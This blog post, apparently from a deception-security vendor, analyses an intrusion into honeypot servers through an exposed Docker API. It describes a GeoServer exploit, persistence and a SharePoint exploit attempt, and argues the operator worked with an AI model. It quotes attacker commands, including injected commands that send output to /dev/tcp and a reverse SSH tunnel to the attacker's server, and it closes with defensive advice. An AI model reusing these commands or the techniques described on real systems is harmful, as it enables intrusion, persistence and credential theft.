Skip to content

Back Through the Same Door: Following an AI-Assisted Operator in a Deception Environment

exposed Docker API
Home News & Blogs Back Through the Same Door: Following an AI-Assisted Operator in a Deception Environment

On October 6, an attacker broke into one of our deception servers through its exposed Docker API. On October 26 it came back, and we rebuilt the server from a clean image. Less than four hours later, the same attacker was back on it, through the same door, and spent the next two days using it as a base against everything else in reach.

The server exposes the Docker Engine API on TCP port 2375 with no authentication. It’s one of the most scanned services on the internet. Most botnets that find it start a container, drop a cryptominer and move on.

This visitor did not move on. We track the operator as Gh0stOp, after the gh0st_* names on almost every file it left behind. Over three days it broke into a neighboring GeoServer, became root, built a reverse SSH tunnel to its own server, robbed an AI workflow server of its stored keys, read HR documents over FTP, password-sprayed the domain controller and wrote a SharePoint exploit from scratch.

 

A familiar visitor

Gh0stOp first took the container host on October 6. That first visit already showed its habits: a sleeping container with the host’s disk mounted, an SSH key planted for root, a cron job, a reverse tunnel to a server in France, and cloud metadata probes. Before leaving it cleaned up and planted a false actor name (“V1PER”). That private key it uses ties every session in this story to one operator.

 

Into the GeoServer

On October 26 the operator came back to the container host and probed every reachable asset on its network in the same second. One of them was a GeoServer deception asset, a map server vulnerable to CVE-2024-36401. 

Soon after that, GeoServer’s own Java process started running the operator’s commands:

jspawnhelper -c uname${IFS}-a${IFS}>/dev/tcp/<CONTAINER-HOST>/9998
bash -c sudo${IFS}-n${IFS}id>/dev/tcp/<CONTAINER-HOST>/9998

The second command was the important one, planting the operator’s SSH key for both accounts. Seven minutes later it logged in as root over SSH. It also installed a watchdog: a cron job that checks the key every 15 minutes and puts it back if anyone removes it. The comment, in Spanish, says “re-inject the key (in case the owner cleans it)”.

Within four minutes of becoming root, it had read every database password in GeoServer’s data store definitions, the master password digest, the user database and every authorized_keys file on the box.

Then it did something we see more and more often: it checked whether the server was real. A comment labeled “PRUEBA 1: pedirle un MAPA DIBUJADO” (“TEST 1: ask it for a drawn map”) sent GeoServer a request to render a map, and the operator compared the server’s data and logs with what a production server would hold before investing more time.

 

Back in four hours

At 14:09 that afternoon we rebuilt the container host from a clean image, exposing the same Docker API, by design. At 18:05:46 the operator was back. It started a container through the API and ran commands on the host with chroot /host, the same technique as on October 6. Nothing from the old disk had survived, so this was not persistence.

Its first commands checked for its own kit: the cron file, the tunnel process, a hidden directory under /usr/lib/.cache/systemd/ and a version file inside it. It also asked the host when it had booted. Finding nothing, it rebuilt the whole kit from memory in eight minutes:

  • wrote its private key to /tmp/gh0st_universal_key,
  • logged in to the GeoServer, where its key was still in place,
  • and started a “tunnel keeper” with a systemd-like name, run from a cron file called 0systemd-crypto.

 
The tunnel keeper holds one reverse SSH tunnel open to the operator’s server at 23.94.136.177:

ssh -N -R 2222:<GEOSERVER>:22 -R 2223:127.0.0.1:22 ... -i /tmp/gh0st_universal_key [email protected]

That single line publishes two SSH servers on the operator’s machine: the GeoServer’s on port 2222 and the container host’s own on port 2223. From then on the operator could log in to both from outside without touching the exposed services again.

What stands out is the speed; the operator was back on both servers in less than four hours.

With two root shells and a tunnel, the operator turned to the rest of the deception network. Along the way it found a rival botnet already mining on the GeoServer and studied it, with a script that follows the miner’s network connection back to its process and reads its command line, environment and open files.

 

A SharePoint exploit written on the spot

The most interesting work came on October 27. The operator had read the public pages of our SharePoint Server deception asset the night before. Now it moved its launch point to the GeoServer, so the requests would come from a second compromised server, and spent about 90 minutes building an exploit for the “ToolShell” chain.

We watched the operator develop it step by step:

  1. A reachability check against ToolPane.aspx, printing status code, size and response time.
  2. A payload body uploaded to the GeoServer over SFTP, session cookies collected, then the first exploit POST.
  3. Four Python helpers, anC.py to anF.py, each a fresh rewrite, unpacking the compressed blob from SharePoint’s response and comparing it with the operator’s own serialized payload.
  4. A side-by-side test of two payload variants, labeled ORIGINAL-GHDLL3 and MI-FIXC.
  5. Three more POSTs with a made-up session ID, a replayed __VIEWSTATE and a compressed request body.
  6. One last variant at 19:07. Then nothing.

Eight POSTs in all, but no code ran on the SharePoint asset. The variant names and helpers match no public proof of concept, so this was the operator’s own work, built and debugged live.
 

An AI model at the keyboard

Three things in this intrusion point to a person working with an AI model.

The Tempo

We measured 285 hands-on command batches between October 26 and 28. The median gap between commands was about 22 seconds, and about 17 seconds inside a burst. That pace held for a 56-command run of over an hour. Almost every command depended on the output of the one before, and only about 10 gaps were under three seconds, so this was not a script firing blindly. People don’t keep up that rhythm for an hour.

The Code

The miner-study script contained ls ls -l /proc/%s/fd with the %s never filled in, a template slip. Files were rewritten from scratch after every failure instead of fixed: chatflows nf2 to nf7, SharePoint helpers anC to anF, payloads fixC through GOLD3. Output was wrapped in markers like ===SECTION=== and SUBSHELL_DONE, which a program reads more easily than a person. Three of the SharePoint POSTs carried the target’s IP address in the Referer with one digit missing, the kind of slip a model makes when it rewrites a command.

The Person

Activity ran from about 15:00 to 05:00 UTC, with a near-silent nine-hour window every day. The big decisions, such as when to turn from the file shares to the domain controller, look human. Comments and labels were in Spanish. One password candidate in the spray started with 密码, Chinese for “password”, in an otherwise Spanish and English session. 

Our reading: a person chooses the targets, and an AI model writes and reads most of the commands. The result is fast and tireless, but it also leaves residue that a human operator would not.

 

Ended by a rival

We did not remove the operator, and we did not need to. Its last activity was a root login to the GeoServer on October 28. That evening at 18:49 a different intruder took the same container host through the same API, installed its own miner and then added one firewall rule:

iptables -A INPUT -p tcp --dport 2375 -j DROP

That closed the Docker API to everyone else, including the door Gh0stOp had used twice. We saw no further Gh0stOp activity.

 

How to protect an exposed Docker API

In September, ThreatDown described “Carbonato”, a botnet that spreads through exposed Docker APIs and is run through an AI agent persona named “GH0ST”. The naming, the reverse tunnels, the interest in AI API keys and the Spanish-speaking operator all resemble what we saw. We share no hard indicator with that reporting, so for now it is a possible link. We are not attributing it.

Now, as a defender, some ideas to help protect you from such activity in case you have similar services to the one described in our deception environment:

  • Close the Docker API. No Docker daemon should listen on TCP 2375 or 2376 without TLS client authentication. Use the Unix socket or SSH for remote management, and block both ports at the edge and between segments.
  • Treat host-mounting containers as an incident. Alert on containers created with –privileged, a host / bind mount or –pid=host, and on chroot /host or nsenter -t 1 from inside a container.
  • Close the entry point before you rebuild, then check every host the compromised one could reach. Rebuilding one server does not remove keys planted on its neighbors.
  • Hunt for persistence: cron jobs that write to authorized_keys, and long-running outbound ssh -N -R processes, especially ones that forward a different host’s port.
  • Protect AI tooling like any credential store. Require authentication on Flowise and similar APIs, restrict custom code nodes, keep them away from cloud metadata, and rotate any key they hold if they were reachable.
  • Patch GeoServer to 2.23.6, 2.24.4, 2.25.2 or later, and remove passwordless sudo from service accounts.

 
This research comes from The Pulse Field Intelligence, CounterCraft’s threat intelligence reports built on what attackers do inside our deception environment. Our customers get each report early, with the full timeline, MITRE ATT&CK mapping, IOCs and detection rules. Contact us to get the full Gh0stOp report and future Pulse briefings.

exposed Docker API

 

What the deception environment showed

Reporting on exposed Docker APIs usually ends with a cryptominer. A real victim of this operator would have seen, at most, an alert or a miner, rebuilt the box and moved on, without knowing the attacker was back four hours later or that a neighbor still had its key.

Because every target here was a deception asset, we could let the intrusion run and record all of it: the exploit chain, the rebuild and the return, the bait it chose to read and what it did with it, and the exploit it wrote live against SharePoint. 

We watched an AI-assisted attacker work for three days and lost nothing. No customer and no production data was at risk. And as more attackers work with an AI model at their side, watching how they behave, including where the model slips, gives valuable insight. Your team can do the same. Book a demo to see CounterCraft catch attackers in your own network.

 

OpenClaw malware, Author bio